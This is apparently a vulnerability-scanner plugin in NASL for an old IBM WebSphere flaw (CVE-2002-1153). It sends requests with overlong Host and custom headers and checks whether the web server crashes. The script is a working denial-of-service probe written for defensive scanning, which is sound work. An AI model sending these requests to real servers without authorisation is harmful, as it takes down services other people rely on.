IBM WebSphere Host Header Overflow Vulnerability

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11181");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5749");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2002-1153");
  script_name("IBM WebSphere Host Header Overflow Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("gb_ibm_http_server_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("ibm/http_server/detected");

  script_tag(name:"solution", value:"Install PQ62144 or later.");

  script_tag(name:"summary", value:"It was possible to kill the WebSphere server by
  sending an invalid request for a .jsp with a too long Host: header.");

  script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make the web server
  crash continually.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);
if(http_is_dead(port:port))
  exit(0);

soc = http_open_socket(port);
if(!soc)
  exit(0);

r1 = string("GET /foo.jsp HTTP/1.1\r\n Host: ", crap(1000), "\r\n\r\n");

send(socket:soc, data:r1);
r = http_recv(socket:soc);
http_close_socket(soc);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

soc = http_open_socket(port);
if(!soc)
  exit(0);

r2 = http_get(item:"/bar.jsp", port:port);
r2 = r2 - string("\r\n\r\n");
r2 = string(r2, "\r\n", "VT-Header: ", crap(5000), "\r\n\r\n");

send(socket:soc, data:r2);
http_recv(socket:soc);
http_close_socket(soc);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);